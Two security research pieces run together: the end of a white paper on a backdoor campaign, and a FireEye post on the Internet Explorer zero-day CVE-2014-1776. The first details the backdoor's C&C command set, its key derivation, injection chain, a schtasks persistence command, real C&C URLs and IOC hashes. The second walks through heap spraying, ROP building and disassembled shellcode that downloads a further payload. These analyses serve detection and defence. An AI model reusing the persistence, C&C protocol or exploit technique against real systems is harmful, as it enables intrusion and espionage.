The ID is sent in every request to the CC as in the previous version with executable files.
This is an example of the data collected for the ID from a test machine: 285364ef-e70c-4386-8e5c-2aa93a78daadC:\Documents  and Settings\user\Application  Data\Mozilla\Firefox\Profiles\2gmaw237.
defaultC:\Documents and Settings\user\Desktopec8030f7- c20a-464f-9b0e-13a3a9e97384 There are no line separators, it is just a long string.
The ID in this case will be 5815da5d0d5565f342474d976f507807.
The gathered data represents: 285364ef-e70c-4386-8e5c-2aa93a78daad  GUID for the extension C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default Firefox profile folder where the extension was placed C:\Documents and Settings\user\Desktop  desktop folder of the active user [13] White Paper ec8030f7-c20a-464f-9b0e-13a3a9e97384 - GUID for Firefox After  the  ID  was  generated,  an  encryption/decryption  key  will  be  created.
It  concatenates  the  hardcoded  string 7201895b632dc5044c02ea98b0dbd371 with the string containing the ID.
In the case of our example this will make the string 7201895b632dc5044c02ea98b0dbd3715815da5d0d5565f342474d976f507807.
Then it makes the Md5 hash on the string which will result in ec398e010a0cb6b6e4f48722dc07eaa3.
This final buffer (containing a C like string with the md5) is the decryption key.
The key is subsequently used for encryption and decryption of every message sent and received from the CC.
Next it gathers more data about the system.
Again, an example from the test machine: 5815da5d0d5565f342474d976f507807 285364ef-e70c-4386-8e5c-2aa93a78daad winnt x86 Mozilla Firefox ec8030f7-c20a-464f-9b0e-13a3a9e97384 35.0 C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default C:\Documents and Settings\user\Desktop 0040C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default\user.js Lines are separated by line feed (0x0A).
The data represents: 5815da5d0d5565f342474d976f507807  System ID 285364ef-e70c-4386-8e5c-2aa93a78daad  GUID for the extension winnt x86  Operating system ec8030f7-c20a-464f-9b0e-13a3a9e97384  GUID for Firefox 35.0  Firefox version C:\Perl... - path C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default  Path to Firefox profile C:\Documents and Settings\user\Desktop  Desktop folder of the logged user C:\Documents and Settings\user\ApplicationData\Mozilla\Firefox\Profiles\2gmaw237.default\user.js  Config file for Firefox which can override normal settings, it will try to delete it.
If is still present after deletion it will put 0041 instead 0040 as the status.
The data is encrypted with the key that was generated and sent to the CC.
Finally the malware sets a timer which calls a function that sends to CC, receives from CC and processes the backdoor commands every five seconds.
The commands are made up from 3 strings separated by ,like nrstring1string2.
nr will be 0 to 6 and represents the backdoor command.
string1 and string2 contain file names, urls and other things used by the commands.
In some commands string2 is not used.
The commands are: [14] White Paper 1file commandlineOptions Executes the file file with command line parameters commandlineOptions.
stdout and stderr are redirected to a string and the content of the string will be sent to the CC.
If the file to be executed does not exists it sends back to the CC 0011file 2urlfile Downloads the file from url and writes it with the name file.
Returns to the CC 0020file if the file was successfuly written, 0021file if the file was not written or 0051urlerrCode if the download failed.
3file Searches the file file and sends it to the CC.
In case of an error it will return 0034file if the file is a folder, 0033filesize if the file size is greater than 5000000 bytes, 0031file if the file exists but it couldnt get information about it, 0032file if the file does not exists, 0051urlerrCode if the file could not be sent due to some network problems.
4file Deletes the file file.
Returns to the CC 0040file if the file was deleted or 0041file if the file could not be deleted.
5string1file Sends back string1 to the CC.
The CC responds with a buffer which will be written to the file file.
It sends back to the CC 0020file if the file was successfuly written, 0021file if the file could not be written or 0051urlerrCode in case of network problems.
6pathdepth Lists files and directories from path recursively until depth level, then it sends the list to the CC.
An example: 0060c:\0 1c:\0\DocumentsdctNaNlat1442919637000lmt1442919637000 1c:\0\main.js17394ctNaNlat1442919639000lmt1442405697000 1c:\0\main1.js.js_format9486ctNaNlat1442919639000lmt1442404160000 2c:\0\Documents\rec.doc12ctNaNlat1442919637000lmt1442919637000 ... 0061path_failederror_code ... 0061c:\010000 The path listed  and a return code would be 0060c:\0.
1 and 2 from the start of the lines is the level of a file or directory.
The count starts at 1 and the maximum level would be depth1This is followed by a file or directory path.
After the path a d follows, if the path specifies a directory, or something like 17394 in case of a file, which is the size of the file.
ctNaN is the creation time of a file.
There is a typo in the code and because of that the creation time is never actually retrieved (winBirtdhDate instead of winBirthDate).
lat1442919637000 is the last access time.
lmt1442919637000 is  last modified time.
0061path_failederror_code is optional and may appear multiple times, contains a path at which the file enumeration failed.
00061c:\010000 at the end is optional and appears only if the listing so far contains more than 10000 characters, then no more lines will be added.
0key Sets a new encryption/decryption key with the C string key [15] White Paper Other 2015 variants We found different versions of the files with almost identical functionality and only minor differences.
The most notable difference is that CC addresses vary.
Another interesting fact is where the samples were spotted.
More CC servers - reckless.dk/wp-includes/class-pomo.php - reckless.dk/wp-includes/class.wp-db.php - fishstalk.esy.es/wp-content/plugins/bbpress/includes/common/menu.php - fishstalk.esy.es/wp-includes/SimplePie/Net/IPv4.php - 77-ufo.com/wp-includes/class-menu.php - 77-ufo.com/pma/db_table.php - scientific.otzo.com/rss.php Documents The documents differ in what they present but they are identical in where the dropper resides and how the script operates.
Droppers The most common level 1 droppers contain the files encrypted with RC4 in the overlay and level 2 droppers have the files in clear in .data section.
Some level 1 and level 2 droppers are just selfextracting winrar archives, but they have the same functionality.
Firefox addon Only one version was found.
ntlm.exe, svchost.exe, dwms.exe Different names for the starting executable.
Some variants do not have the link files functionality and rely only on the registry key to start.
All variants use the key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and the value is named svchostUpdate or dwm service.
msvci.dll Some versions check if the process into which they inject is 64 bit or 32 bit.
If it is 64 bit msvci.exe PID is executed.
This looks like an early version of the code because the functionality for 32/64 bit is in ntlm.exe file and if we have a 64 bit process to inject, msvci.dll would not be loaded in the first place.
msvct.dll Different CC addresses.
msvck.dll Some versions check the CC in an infinite loop other will check it only 3 times and if no connection could be established the execution ends.
The computer ID has a GUID obtained with GetCurrentHwProfile in some versions and in others the GUID is taken from the registry key HKLM\SOFTWARE\Microsoft\Cryptography\ MachineGuid Strings Almost all strings in the files are encrypted.
They are encrypted with RC4 in all versions, only the decryption keys are different.
[
16] White Paper 2016 attack wave In May 2016 we have encountered a new wave of attacks.
They came, at least in some known cases, as spear phishing emails containing various documents: topics like Oil conferences, international politics, budget calculations, simple guidelines on how to interview for a job in foreign affairs.
The attackers moved away from using documents containing macro scripts to employing a zip archive containing a java-script file that would in turn drop a clean document and the actual malware.
The archived file has a double extension, something like urgent- document.doc.js.
This method is probably more efficient, as the victim doesnt have to enable macros in Word Viewer.
Generally speaking, the components are slightly different from the 2015 variants but they achieve the same results.
As a general rule, we observed that these variants tend to be stealthier than past years variants because malware is only injected in legitimate processes, so that no new main executable will be seen in the process list after injection.
The components are outlined below.
Document containing malicious macro script The new infected documents have a different structure, as seen in the picture.
The clean document is encrypted directly in the infected document, not contained in the dropper as with previous versions.
The macro from the infected document will decrypt and run the clean document and the dropper.
At the end of the document there is a dword which contains the total size (documentdropper4).
In front of the encrypted document is a dword which represents its size.
After the encrypted document there is one byte, the checksum.
The encrypted dropper has the same structure.
The checksum algorithm remains the same but the encryption is slightly different than before: // decrypt for (key  75, i  0 i  size i)  buffer[i]  buffer[i]  key key  (key  ((200  i)  256)  (i  256)  The Dropper The droppers are self-extracting Winrar archives.
They do not contain the clean document any more.
The component files are extracted to: - appdata\Microsoft\VisualStudio\11.0\dws.exe - appdata\Microsoft\VisualStudio\11.0\msi.dll - appdata\Microsoft\VisualStudio\11.0\msi32.dll - appdata\Microsoft\VisualStudio\11.0\msk.dll  (optional) - appdata\Microsoft\VisualStudio\11.0\msp.dll - appdata\Microsoft\VisualStudio\11.0\mst.dll [17] White Paper - appdata\Microsoft\VisualStudio\11.0\msi.exe  (64 bit) - appdata\Microsoft\VisualStudio\11.0\msi60.dll  (64 bit) - appdata\Microsoft\VisualStudio\11.0\msk60.dll  (64 bit, optional) - appdata\Microsoft\VisualStudio\11.0\msp60.dll  (64 bit) - appdata\Microsoft\VisualStudio\11.0\mst60.dll  (64 bit) - appdata\Microsoft\VisualStudio\11.0\msvci60.dll  (64 bit) msk.dll and msk60.dll are not always present in which case their functionality is taken by another dll.
After the files are dropped the file dws.exe is executed without any parameters.
msp.dll Similar to the old msvcp.dll.
Returns the PID of some processes.
It has 3 important exports: p, p1, p2.
p export has the functionality as the older variant, returns the PID of one of iexplore.exe, firefox.exe, chrome.exe, outlook.exe.
p1 export returns the PID of dwm.exe (Windows Desktop Manager).
p2 returns the PID of taskhostex.exe (Host Process for Windows Tasks) or sihost.exe (Shell Infrastructure Host).
These are legitimate processes that can be found in Windows 8 and Windows 10.
Some variants do not search for sihost.exe.
Some variants also have another export kp which kills a process, but its never invoked.
msp60.dll 64 bit variant of msp.dll.
msi.dll This is similar to the old msvci.dll.
It has one export msvci with two parameters, a path to a file and a PID.
It will inject the file from the path into the process with that PID.
For 32 bit processes.
msvci60.dll 64 bit variant of msi.dll.
msi.exe Similar to msi.dll, for 64 bit processes.
It will look for 1 or 2 command line parameters.
The first is a process PID.
The second parameter can be anything and is just a flag for knowing what library to inject: 2 parameters  will inject msi60.dll, 1 parameter  will inject msk60.dll.
The injection is done with the msvci export from msvci60.dll.
dws.exe The starting module.
If it was started with a parameter and the parameter is not a number (as an ascii string), it will create a process with the executable taken from the parameter this looks like a reminiscent of the .lnk files functionality.
If the parameter is a number, the number will be interpreted as a PID and it will check if the process with that PID is a 32/64 bit process.
If it is a 64 bit process, dws.exe will create a new process with the command line msi.exe PID.
If it is a 32 bit process, dws.
exe will load msi.dll and call its export as msvci(msvck,pid).
In this case (parameter as number received) the execution stops here.
If the file msp.dll is not present it will delete all components of the trojan.
Otherwise it will call from msp.dll the export p1 or p2 (only on Windows 8/10 or Server 2012) to get the PID of dwm.exe, taskhostex.exe or sihost.exe.
If the returned PID is for a 64 bit process [18] White Paper will run msi.exe PID 1 two parameters are passed, the last one being dummy and used by msi.exe just to know to take a different path of execution.
If the returned PID is for a 32 bit process, it will load msi.dll and call msvci(msi32.dll, PID).
After this the program terminates (the older ntlm.exe would have stayed in a loop here).
msi32.dll Code from this library will execute injected in dwm.exe, taskhostex.exe.
Sets the same registry autorun key as the 2015 variants.
It will also set a scheduled task: schtasks /create /SC DAILY /ST 12:00 /TN update /F /TR appdata\Microsoft\VisualStudio\11\dws.exe which will make sure that main module will start daily.
Checks if msp.dll exists, if it does not, it will execute dws.exe without parameters, which in turn will self delete the Trojan.
It uses from msp.dll the p export to get a PID.
If that PID is a 32 bit process it will run dws.exe PID and if it is a 64 bit process it will run msi.exe PID.
Those processes with parameters will inject the actual backdoor (msk.dll).
It will stay in a loop and try to find targeted processes in order to inject in them.
This variant of the Trojan is stealthier than the previous one in which ntlm.exe would stay in a loop and try to inject, in which case a suspicious process (ntlm.exe) would be visible.
msi32.dll  with backdoor functionality In some droppers msi32.dll has another variant different enough to be described separately.
In this case msi32.dll would contain backdoor functionality along the functionality described earlier.
It will function in 2 ways (backdoor or earlier msi32.dll) based on the name of the process from which it runs.
If the containing process is dwm.exe, taskhostex.exe or sihost.exe it will function like the usual msi32.dll and also will copy itself as msk.dll for later use as the backdoor.
If the containing process is another process then it will function as the backdoor (identical to msk.dll).
msi60.dll 64 bit variant of msi32.dll.
msk.dll The backdoor component, similar to the old msvck.dll, it has the same functionality.
For selfdelete it will delete msp.dll.
It also has a new backdoor command st which sets the time in milliseconds for Sleep, time value received from the CC.
msk60.dll 64 bit variant of msk.dll.
mst.dll Library used for communication with the CC.
Very similar to the old msvct.dll.
Internet connection is checked with go.microsoft.
com .
mst60.dll 64 bit variant of mst.dll.
[
19] White Paper Functionality diagram Functionality summary: 1.
The macro from the infected document will drop and open a dummy clean document and a dropper.
2.
The dropper will drop the component files in the folder appdata\Microsoft\VisualStudio\11\ and will open dws.exe without parameters.
3.
dws.exe will use the function p2 (only on Windows 8 or Windows Server 2012) or the function p1 from msp.dll.
p1 will return the PID of dwm.exe, p2 will return the PID of taskhostex.exe.
[
20] White Paper 4.
dws.exe will load msi.dll and will call its export as msvci(msi32.dll, PID), with the PID returned from step 3.
This will inject msi32.
dll into dwm.exe or taskhostex.exe depending on the OS.
After this dws.exe process terminates.
5.
a.   msi32.dll will add a run key in registry and a scheduled task, both will open dws.exe b.   msi32.dll will copy itself to msk.dll.
This step is done only in some versions where msi32.dll has the backdoor functionality and the initial backdoor msk.dll is missing.
6.
msi32.dll will use the function p from msp.dll which will return the PID of one of iexplore.exe, outlook.exe, firefox.exe, chrome.exe.
7.
msi32.dll will create a new process with dws.exe with a parameter, the PID returned at step 6.
If at step 6.
the file msp.dll was not found (selfdelete from backdoor), it will create a new process with dws.exe but without parameters, which in turn will delete all components.
msi32.dll will stay in a loop repeating from step 6 (the backdoor variant of msi32.dll will exit).
8.
dws.exe with a parameter will function differently and will call the export from msi.dll as msvci(msk.dll, PID), with the PID returned at step 6.,
received as a command line parameter.
This will inject msk.dll in the specified process.
After this dws.exe process terminates.
At this step it does not matter if msk.dll is the msi32.dll variant or not.
9.
msk.dll is the backdoor program and will use exports from mst.dll to communicate with the CC.
In case that msk.dll is msi32.
dll variant the selfdelete will be done here (start dws.exe) and not in step 7.
because msi32.dll will no longer run in dwm.exe, taskhostex.exe or sihost.exe.
Zip file containing malicious java-script In this variant victim is lured to double click on a file with double extension .doc.js  this way java-script file gets executed, will decode a clean Word document and a malware executable file, both are embedded in java-script.
Next, a windows task is created to run the malware, and clean document is opened.
Malware execution follows as previously described.
CC We have 4 unique CCs for 2016 variants, hosted in Netherlands, New York and Germany.
The machines used are most likely compromised web servers.
[
21] White Paper Binary difference between 2014/2015 and 2016 variants diagram representing backdoor main function Yellow blocks represent partial code modifications compared to 2015 versions.
Red blocks represent added functionality.
We can see that little functionality was added to backdoor component.
[
22] White Paper IOCs File paths APPDATA\Microsoft\Word\MSWord.exe APPDATA\Axpim\ubfic.exe (random) APPDATA\Axpim\anfel.js  (random) APPDATA\Nuuw\ilebi.xpi  (random) APPDATA\Nuuw\yqyra.js   (random) TEMP\ntlm.exe TEMP\msvci.dll TEMP\msvcp.dll TEMP\msvck.dll TEMP\msvct.dll TEMP\msvci.exe   (64bit) TEMP\msvck60.dll (64bit) TEMP\msvct60.dll (64bit) APPDATA\Microsoft\VisualStudio\11.0\dws.exe APPDATA\Microsoft\VisualStudio\11.0\msi.dll APPDATA\Microsoft\VisualStudio\11.0\msi.exe APPDATA\Microsoft\VisualStudio\11.0\msi32.dll APPDATA\Microsoft\VisualStudio\11.0\msi60.dll APPDATA\Microsoft\VisualStudio\11.0\msk.dll APPDATA\Microsoft\VisualStudio\11.0\msk60.dll APPDATA\Microsoft\VisualStudio\11.0\msp.dll APPDATA\Microsoft\VisualStudio\11.0\msp60.dll APPDATA\Microsoft\VisualStudio\11.0\mst.dll APPDATA\Microsoft\VisualStudio\11.0\mst60.dll APPDATA\Microsoft\VisualStudio\11.0\msvci60.dll APPDATA\Axpim\selfdel.bat TEMP\xmlupd.bat [23] White Paper pipes \\.\pipe\bc367 \\.\pipe\bc31a7 Registry paths HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchostUpdate - TEMP\ntlm.exe HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices - TEMP\ntlm.exe HKLM\Software\Microsoft\Windows\CurrentVersion\Run\svchostUpdate - TEMP\svchost.exe HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices - TEMP\svchost.exe HKLM\Software\Microsoft\Windows\CurrentVersion\Run\dwm service - TEMP\dwms.exe HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices - TEMP\dwms.exe HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwupdate - APPDATA\Microsoft\VisualStudio\11.0\dws.exe tasks update command schtasks /create /SC DAILY /ST 12:00 /TN update /F /TR APPDATA\Microsoft\VisualStudio\11.0\dws.exe network activity 2014-2015 variants: reckless.dk/wp-includes/class-pomo.php reckless.dk/wp-includes/class.wp-db.php fishstalk.esy.es/wp-content/plugins/bbpress/includes/common/menu.php fishstalk.esy.es/wp-includes/SimplePie/Net/IPv4.php 77-ufo.com/wp-includes/class-menu.php 77-ufo.com/pma/db_table.php scientific.otzo.com/rss.php [24] White Paper SHA1 hashes of all known variants 0641f22e1b4e15cc23660b2e8bbf42623e997dfb 0af1a6d6c487e78aa252ae2f5921606a8a379206 100241519698bb013f668ff49d3d0d4fdab6a584 14014f810a0c07b6dde48b7a8954b56c409ae7f3 16c6d317fd7c361623c62cf5652a6b7937f58e0a 22c565e2cfb8adadd022b0ec281bb2b6ed62dca2 23ce92fd1d4d2d42389a66869434fb578aa3f539 261a8fc8e0e396298120a7bc15c32a37f3ce5b94 2a9c8639215faf08593f17b930f83757324dfbee 2ad7262ad52320399aa54cd8482c30e7a480bebc 2eb5a075b710155c409e727e7f74fdc3be63b58c 325b1075b4544ecc2c5741a7a06a9df00f0965da 336d5957909487990033a3432d0347be34db044a 368b746daf5448812b231aed67bd795dfb5a605d 38d16c19b54bf2c94e0ad81fca207de062181b31 4880a13c4e1cde0343c233f5e107abf4e3d00664 49f0569886e5e6ba4b32b7f118dc35f9e5916dc2 4eecebf5c9720c8e85347e0dcf55a844a6d01b08 5374b898dbb618aa84d92f7a3e9d166e9e819960 54ac8caeae8046e01301379602041c74ee527dfc 5617c1414cb79411c64883ee72d219d52123fa30 583036a7c9b210508c222c7dfdd9b8321feca7df 58952be65d0ed53490f69f566485c699f246dcc0 5a6b14fad221ab65a086b1ee7c97eb63ff38480e 5aaa055fa5eb9a436ca0e643bf2ada268bcd6f33 5bcc6da122b3aa88c766d80eb7774c2c6e9e25d5 623185a651a1962538141d7ffefdc2f2445a9201 66a7642abaf3d05d5ab14e83dfd52eca0c17acc6 67e9e098c2b39b5847f6cd3aa5a3f86917602f5f 6a2d12adc541c9c5aaa1096d7e59c72c489cdd59 713855aa5680154324bfcbac638aa1c12681e3c3 7674f680fd0c24c222c027976c40ffe1e08c6f2e 7abf407b9a19dd9ee528fa6e5a099ea1c8ba2f98 80091e1b7b4dd404c83a9c54fda9e6951b2689b1 852dc73ca9e6d92b3da96500d27ab44b7f9a4ea4 85c03c6fa5e3803e55a46f17d6981992181de57b 88af035dc34f730c884b5a11c8be666974a1a6eb 88fd1ee6fb78385a1c5e462dd0768bc34b8188a3 8c4dd73cdd48908ddf5039c5a99e719dfd44ff41 8d40a65a2bca1378eb6e009c1842aa0e45ae289e a5359856742d09d1596e5c7fde407856d72046db a9239572afe4fbdfe077a262c9699eb1d22a9c87 acc2250be782063f268b87bd0f798549c5838b95 aecf66120861b71c92a2d1f0015fc9228c02ee88 b2700f16e4494ef7eba26b88a800728621adffea b4afc5e0002201ce052466cba9061018474b1de0 b55dac24f646dd5e0ea856d6ed7891ad8c8acdc1 b84ef6480d888b560b071e1f97e78f06080dae89 c340534b8eafed85fc6e9950033b0b9e696d5cb0 c4b06021c6c925c837dab3ba42c6b76eb77ad30b c5166d1a574bc5e374490846f2584f94f755d90b c9b1208be2aa2c5cfbcbfcb9b1a45c36854414b8 ce234ed0899c8f97e3f2085215b842723a773368 d80d5ccb9d37d971a408d3c91f803e40b8421a2c d83d7de186fa6c7abe4676eb568ba4dc62a7c931 e20b0f03f6708118bca9f408b156b210ba083b54 eacadedc31af04ef86470aec62ad3eccc9a35332 eb0f02e36e77221366becabc60e78dd43368ab9d eb1b83825ff28de7f13812bfce273ad7fb1994fb ede8ec9f3efeb515859becd1f430f82933b42dd9 edf96c42f4e1cf43fbaab3f0bbf54280fc8e311d eea9fec97dca5d122069adf6dd71628bd6d9c2fd f9af4a51616db485adc577ad600b60e77916cace fbd538cf432f2576b37e2770f860b70b009c3cf3 01e2e16be5828ca03c6b78f253bd962bfaa5ccbf 09df1b0abd32791c3b0d5d657cd956f81e2dacb2 0a9dd2b71df68ba088d7d868d7e191875755e34c 14b6f2bc2b869d3417619201c7205e240a93d2ef 1ae10d6ec5d33b704c32ef52c3ee9671f4298d5f 1e49924afe56e3c782893118a51256ca5f247fba 23d5cc54641f56f554890bbd55d580e5c564e197 26f8d64038439c006f12ec34b035b1dee1c56b31 272c42bcdcc88adba1e01e60a931fbe5f5800883 2a84f90ed23a569defee7b37f4650aca4021a767 2bf06a003a9bd56d2ed91770966a7aee7d9784b9 321ca51b4c250515bc3075abe735e360a57dee22 33f57151a52666ca055f1dc66ef04e2f9cb09918 3e10fd3e8d4c4a7900e603aee7660c83441d998e 3fbaf98c75992db9db11d29ae20c13b7b0f50470 443551d822eba6a81b8ac3177e31e210c99934d0 45c7f3f065cf015289ab17161a1880eb638b508a 46f1b8722f8f094015c749599e94a3e44850df0a 4f35665e689bea4f116505f81ae2906fd1517128 547f525f57f3f47222ae3ab253635df936bd355a 585550816539b73dfdc3cee80cc60e1cdc1cdb3e 5d492ae763bfc227db9eea46e560124128ff925b 5ff776d23e6c6af47619ad2e7333a434b79e19df 621698f821a2bafccad026f9f5d2fe1ac46a39ce 66ec04c005d0a1ebc218455915e31d2a2b6dd459 686ada60c898782b57ca993141b64f7c7a531c50 6c68a9df2d710187d067ecb2d0cc04358d570b52 6e070e01076a4a92f08924a405f389436003d927 78499e4694f847972576960a04f8177691a7c911 840563929f13ab05e45a8d3fb2d11e70e3cdccca 840de34aa767131eb34069e6f936dea3a48c024e 85a6e3a3fcee71ffa2aad90336960132fa8f4c4d 88f473f3d7a7eb2637754a8d0856ab888066ab08 8f8d7cd742fb843ba8cb16c2b2d6349436049ed8 [25] White Paper 8ffd436182f8d2a7ec0a66c0d6d43f71222f62b5 92731e4ed149c59a25c233635c55a87a8a22b19f 96d9cf7296f02bf4e49c0540fb84981493b61a93 9957af2dbfa04bca2a5319a216852ce4f4a17682 9b0effd20ea7239275b6cf1e02280eb67eced701 a5daecfd57f006acd15486bd544f40e4cdce3801 a753de6b2e6d3d5735fc5e90a879f1ad7e93fb0f b0b9215e236bb47f5f0a108be97b24d20898d2fc b35b07ad4f42493ecb19f66aba83da8e74c1bb5a b4e867893d9d6f8b52de98ab6b41513d61f20472 b719e1d03e860235a68dda4168f29ac4988d25de ba29c29a35d15a668ea2ea79d1d4e56c2d67553f bca5accb9f1d0806f8603cf74ce0ebe9519f5004 be10c837af1f25ee67440f3a33da8c650f5ab54a c34a68c1a2d2beddbbe8ee8bd125cce14d0dc377 c3bc94b065449879c25a541d740346e060d9d6fe c414ba1dd1f281a63e58c60eb1d8cb4ac3c4e7f0 c7accc1c4ceedc756c30ebb2f1ff9f0dbd0255b0 c8395601ea301ba083cb530dad7a44c8048eeb77 ca07bbfc5e8c15c4258f92e6e6c328b86b7b19a5 ccf0a302eb264cbb5db726d61ad18ebdc0d3d012 d53eb2a6904d1fb7982bb876916cd3723c3dc9b1 d6d3d9a56513b83db497a8d4701c2ac7270d78eb d7218e80261517badd8090d3a5ba0a1ed21c21a2 d74d8ec530c02b1eb94203de1f641e15a72faf8d e32832e3f0e0b8450e7bdded16c441951b171130 eda30afac2c1fa0ed2c80e8859e2556ea3dfe2ef ee1f5ba06400fa192664f984d71b1a0cdba96d75 f781e603c55558708ac3101d0bfee2c1752693c2 fdb9d026502aa64aa23b1acb96f6d0013ef874b4 [26] White Paper Clean documents opened by droppers Invitation to event organized by the UK embassy in Ashgabat: [27] White Paper Car for sale: [28] White Paper 23rd International Caspian Oil  Gas Conference Presentation for a real conference that took place on 1-4 June 2016 in Azerbaijan, Baku.
Picture and text are taken from official page of conference organizers.
[
29] White Paper Australia - Korea Foundation, foreign affairs position, interview guidelines Data seems to be taken from Australian Government, Department of Foreign Affairs and Trade.
[
30] White Paper International politics Text is a Bloomberg news story from October 24th: Bulgaria, Romania and Serbia Ready to Close Borders for Migrants.
[
31] White Paper Budget plan template This one looks as a budget calculation template taken from Relations internationals et Francophonie of Qubec.
BD -B us in es s- Ju n. 30 .2 01 6- Tk : 70 58 5 All Rights Reserved.
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New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks Summary FireEye Research Labs identified a new Internet Explorer (IE) zero-day exploit used in targeted attacks.
The vulnerability affects IE6 through IE11, but the attack is targeting IE9 through IE11.
This zero-day bypasses both ASLR and DEP.
Microsoft has assigned CVE-2014-1776 to the vulnerability and released security advisory to track this issue.
Threat actors are actively using this exploit in an ongoing campaign which we have named Operation Clandestine Fox.
However, for many reasons, we will not provide campaign details.
But we believe this is a significant zero day as the vulnerable versions represent about a quarter of the total browser market.
We recommend applying a patch once available.
According to NetMarket Share, the market share for the targeted versions of IE in 2013 were: IE 9      13.9 IE 10    11.04 IE 11     1.32 Collectively, in 2013, the vulnerable versions of IE accounted for 26.25 of the browser market.
The vulnerability, however, does appear in IE6 through IE11 though the exploit targets IE9 and higher.
The Details The exploit leverages a previously unknown use-after-free vulnerability, and uses a well-known Flash exploitation technique to achieve arbitrary memory access and bypass Windows ASLR and DEP protections.
Exploitation Preparing the heap The exploit page loads a Flash SWF file to manipulate the heap layout with the common technique heap feng shui.
It allocates Flash vector objects to spray memory and cover address 018184000.
Next, it allocates a vector object that contains a flash.
Media.
Sound() object, which it later corrupts to pivot control to its ROP chain.
Arbitrary memory access https://technet.microsoft.com/en-US/library/security/2963983 http://www.netmarketshare.com/browser-market-share.aspx?qprid2qpcustomd0qpsp168qpnp12qptimeframeM http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html http://en.wikipedia.org/wiki/Heap_feng_shui The SWF file calls back to Javascript in IE to trigger the IE bug and overwrite the length field of a Flash vector object in the heapspray.
The SWF file loops through the heapspray to find the corrupted vector object, and uses it to again modify the length of another vector object.
This other corrupted vector object is then used for subsequent memory accesses, which it then uses to bypass ASLR and DEP.
Runtime ROP generation With full memory control, the exploit will search for ZwProtectVirtualMemory, and a stack pivot (opcode 094 0xc3) from NTDLL.
It also searches for SetThreadContext in kernel32, which is used to clear the debug registers.
This technique, documented here, may be an attempt to bypass protections that use hardware breakpoints, such as EMETs EAF mitigation.
With the addresses of the aforementioned APIs and gadget, the SWF file constructs a ROP chain, and prepends it to its RC4 decrypted shellcode.
It then replaces the vftable of a sound object with a fake one that points to the newly created ROP payload.
When the sound object attempts to call into its vftable, it instead pivots control to the attackers ROP chain.
ROP and Shellcode The ROP payload basically tries to make memory at 018184000 executable, and to return to 0x1818411c to execute the shellcode.
0:008 dds eax 18184100  770b5f58 ntdllZwProtectVirtualMemory 18184104  1818411c 18184108  ffffffff 1818410c  181840e8 18184110  181840ec 18184114  00000040 18184118  181840e4 Inside the shellcode, it saves the current stack pointer to 018181800 to safely return to the caller.
mov     dword ptr ds:[18181800h],ebp Then, it restores the flash.
Media.
Sound vftable and repairs the corrupted vector object to avoid application crashes.
18184123 b820609f06      mov     eax,69F6020h 18184128 90              nop http://piotrbania.com/all/articles/anti_emet_eaf.txt 18184129 90              nop 1818412a c700c0f22169    mov     dword ptr [eax],offset Flash32_11_7_700_261AdobeCPGetAPI0x42ac00 (6921f2c0) 18184133 b800401818      mov     eax,18184000h 18184138 90              nop 18184139 90              nop 1818413a c700fe030000    mov     dword ptr [eax],3FEh ds:0023:181840003ffffff0 The shellcode also recovers the ESP register to make sure the stack range is in the current thread stack base/limit.
18184140 8be5            mov     esp,ebp 18184142 83ec2c          sub     esp,2Ch 18184145 90              nop 18184146 eb2c            jmp     18184174 The shellcode calls SetThreadContext to clear the debug registers.
It is possible that this is an attempt to bypass mitigations that use the debug registers.
18184174 57              push    edi 18184175 81ece0050000    sub     esp,5E0h 1818417b c7042410000100  mov     dword ptr [esp],10010h 18184182 8d7c2404        lea     edi,[esp4] 18184186 b9dc050000      mov     ecx,5DCh 1818418b 33c0            xor     eax,eax 1818418d f3aa            rep stos byte ptr es:[edi] 1818418f 54              push    esp 18184190 6afe            push    0FFFFFFFEh 18184192 b8b308b476      mov     eax,offset kernel32SetThreadContext (76b408b3) 18184197 ffd0            call    eax The shellcode calls URLDownloadToCacheFileA to download the next stage of the payload, disguised as an image.
Mitigation Using EMET may break the exploit in your environment and prevent it from successfully controlling your computer.
EMET versions 4.1 and 5.0 break (and/or detect) the exploit in our tests.
Enhanced Protected Mode in IE breaks the exploit in our tests.
EPM was introduced in IE10.
Additionally, the attack will not work without Adobe Flash.
Disabling the Flash plugin within IE will prevent the exploit from functioning.
Threat Group History The APT group responsible for this exploit has been the first group to have access to a select number of browser-based 0-day exploits (e.g.
IE, Firefox, and Flash) in the past.
They are extremely proficient at lateral movement and are difficult to track, as they typically do not reuse command and control infrastructure.
They have a number of backdoors including one known as Pirpi that we previously discussed here.
CVE-2010-3962, then a 0-day exploit in Internet Explorer 6, 7, and 8 dropped the Pirpi payload discussed in this previous case.
As this is still an active investigation we are not releasing further indicators about the exploit at this time.
Acknowledgement: We thank Christopher Glyer, Matt Fowler, Josh Homan, Ned Moran, Nart Villeneuve and Yichong Lin for their support, research, and analysis on these findings.
This entry was posted in Advanced Malware, Exploits, Targeted Attack, Uncategorized and tagged zero- day by Xiaobo Chen, Dan Caselden and Mike Scott.
Bookmark the permalink.
http://www.fireeye.com/blog/technical/botnet-activities-research/2010/11/ie-0-day-hupigon-joins-the-party.html http://www.fireeye.com/blog/category/technical/malware-research http://www.fireeye.com/blog/category/technical/cyber-exploits http://www.fireeye.com/blog/category/technical/targeted-attack http://www.fireeye.com/blog/category/uncategorized http://www.fireeye.com/blog/tag/zero-day http://www.fireeye.com/blog/author/xiaobo-chen http://www.fireeye.com/blog/author/dan-caselden http://www.fireeye.com/blog/author/mscott http://www.fireeye.com/blog/uncategorized/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html
